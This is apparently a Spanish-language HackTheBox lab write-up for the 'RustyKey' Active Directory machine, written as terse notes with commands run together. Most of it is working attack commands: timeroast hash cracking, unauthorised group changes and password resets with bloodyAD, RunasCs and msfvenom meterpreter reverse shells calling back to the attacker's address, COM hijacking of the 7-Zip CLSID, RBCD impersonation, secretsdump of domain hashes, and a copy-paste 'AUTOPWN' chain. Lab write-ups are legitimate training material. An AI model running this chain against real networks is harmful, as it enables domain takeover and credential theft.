RustyKey ⭐
#htb #windows #ActiveDirectory #bloodhound #bloodyad #kerberos #writeup
rr.parker \ 8#t5HE8L!W3Aldapsearch -x -H ldap://10.10.11.75 -s basesudo ntpdate -u 10.10.11.75impacket-getTGT rustykey.htb/'rr.parker':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
export KRB5CCNAME=rr.parker.ccachenxc smb DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users --shares./kerbrute_linux_amd64 bruteforce -d rustykey.htb --dc 10.10.11.75 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/content/combs.txt -t 1bloodhound-python -d rustykey.htb -dc DC.rustykey.htb -ns 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A' -c All --zip -kpython3 timeroast.py 10.10.11.75 > timeroast_hashes.txtnxc ldap DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --computers | awk '{print $5}' | grep '\$' | tr -d '\$' | tr '[:upper:]' '[:lower:]' > timeroast_wordlist.txtpython3 timecrack.py ../timeroast_hashes.txt timeroast_wordlist.txtsudo ./hashcat.bin -m 31300 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/exploits/Timeroast/timeroast_hashes.txt /usr/share/wordlists/rockyou.txt$sntp-ms$d793b7a6bee90dd588a0ae96fd770cde$1c0111e900000000000a44094c4f434ceca3461afd48f38ee1b8428bffbfcd0aeca39fce1d48c642eca39fce1d48fd9f:Rusty88!IT-COMPUTER3$ \ Rusty88!impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75
export KRB5CCNAME=IT-COMPUTER3\$.ccachebloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'DD.ALI' '8#t5HE8L!W3A'DD.ALI \ 8#t5HE8L!W3Aimpacket-getTGT rustykey.htb/'DD.ALI':'8#t5HE8L!W3A' -dc-ip 10.10.11.75Con Ali parece ser que no podemos llegar a ningún lado y no parece tener ningún permiso especial
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'GG.ANDERSON' '8#t5HE8L!W3A'impacket-getTGT rustykey.htb/'GG.ANDERSON':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)La cuenta de gg.anderson está deshabilitada.
En resumen, el único usuario que podemos controlar parece ser DD.ALI, el resto o están deshabilitados o tiran error al obtener el ticket.
Los que tiran error al obtener el ticket es porque están en el grupo PROTECTED USERS, no podemos obtener un ticket usando cifrado RC4, tenemos que usar AES:
El permiso AddMember sobre Protected Objects también nos permite quitarlos, por lo que quitamos ambos grupos y así nos podemos loguear con estos usuarios.
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'impacket-getTGT rustykey.htb/'EE.REED':'8#t5HE8L!W3A' -dc-ip 10.10.11.75Parece ser que nos da error
nxc smb DC.rustykey.htb -u 'EE.REED' -p '8#t5HE8L!W3A' -kSMB DC.rustykey.htb 445 DC [-] rustykey.htb\EE.REED:8#t5HE8L!W3A STATUS_LOGON_TYPE_NOT_GRANTEDVamos a probar con BB.MORGAN
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75Con este si que nos deja:
nxc smb DC.rustykey.htb -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -k --sharesevil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccacheUna vez dentro podemos enviarnos rev shells por runas, para ello importante que no estén en Protected Objects, sino no saldrá la shell, pivotamos a EE.REED:
./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.73:4444COM hijacking
COM son las siglas de "Component Object Model" (Modelo de Objetos Componente).
Es una tecnología fundamental de Microsoft, integrada en el sistema operativo Windows, que actúa como un "intermediario" universal. Su principal objetivo es permitir que diferentes piezas de software (componentes) se comuniquen e interactúen entre sí, incluso si fueron escritas en distintos lenguajes de programación.
¿Cómo funciona? El Registro y el CLSID
Aquí es donde se vuelve clave para entender el "hijacking". Para que este sistema funcione, Windows no busca los componentes por su nombre de archivo (como corrector.dll).
En su lugar, utiliza el Registro de Windows como un gigantesco directorio o "páginas amarillas":
- Cada componente COM registrado tiene un número de identificación único y universal llamado CLSID (Class ID).
- Cuando un programa necesita usar un componente (por ejemplo, el corrector ortográfico), le dice a Windows: "Oye, necesito cargar el componente con el CLSID
{...un-número-largo...}". - Windows busca ese CLSID en el Registro.
- El Registro le dice al sistema operativo dónde encontrar el archivo (
.dllo.exe) real que debe cargar para usar esa función.
El ataque
El "secuestro de COM" explota precisamente este sistema de directorio. El atacante no necesita modificar el archivo legítimo. En su lugar, engaña al Registro:
- Busca un CLSID de un componente legítimo que se use a menudo.
- Crea una entrada falsa en el Registro (específicamente en la parte del registro del usuario,
HKEY_CURRENT_USER, que tiene prioridad sobre el registro del sistema,HKEY_LOCAL_MACHINE). - Esta entrada falsa usa el mismo CLSID legítimo, pero le dice a Windows que el archivo
.dlla cargar está en una ubicación diferente, apuntando al malware del atacante.
Comprobamos si existen CLSID, relacionados con softwares de compresión (como se menciona en el pdf):
reg query HKCR\CLSID /s /f "zip"El de 7zip es el que más llama la atención:
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
(Default) REG_SZ 7-Zip Shell Extension
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
(Default) REG_SZ C:\Program Files\7-Zip\7-zip.dllmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.82 LPORT=5555 -f dll -o hack.dllModificamos el registro de windows para que el CLSID apunte a nuestro dll malicioso
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Windows\TEMP\hack.dll" /fHKLM -> Se necesitan privilegios de administrador para hacer este cambio, además este cambio afecta a todos los usuarios de la máquina, por lo que si otro usuario ejecuta 7zip recibiremos la shell como ese usuario. /ve -> Se modifica el valor predeterminado (la ruta)
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcpgetuid
shellComo somos miembros de DelegationManager podemos editar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC (RBCD) para que así el DC permita a otros servicios o máquinas autenticarse como cualquier otro usuario contra el DC.
Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'IT-COMPUTER3$' #Assing delegation privileges"Soy IT-COMPUTER3$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/IT-COMPUTER3$:Rusty88!'- No podemos impersonar al Administrator porque tiene
Cannot Be Delegated -spn 'cifs/DC.rustykey.htb'significa que nos estamos intentando autenticar contra el servicio de archivos del propio DC, con el objetivo de conseguir un Ticket de Servicio, luego eso nos permitirá hacer Pass The Ticket
export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccacheimpacket-secretsdump rustykey.htb/'backupadmin'@DC.RUSTYKEY.HTB -k -no-pass -dc-ip 10.10.11.75impacket-getTGT rustykey.htb/'Administrator' -hashes "aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26" -dc-ip DC.rustykey.htbevil-winrm -i 10.10.11.75 -u 'Administrator' -r rustykey.htb -i DC.rustykey.htb -k Administrator.ccacheAUTOPWN
Para cada vez que tenga que conectarme a la máquina solo copiar y pegar:
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75export KRB5CCNAME=IT-COMPUTER3\$.ccachebloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75export KRB5CCNAME=BB.MORGAN.ccachebloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.82:4444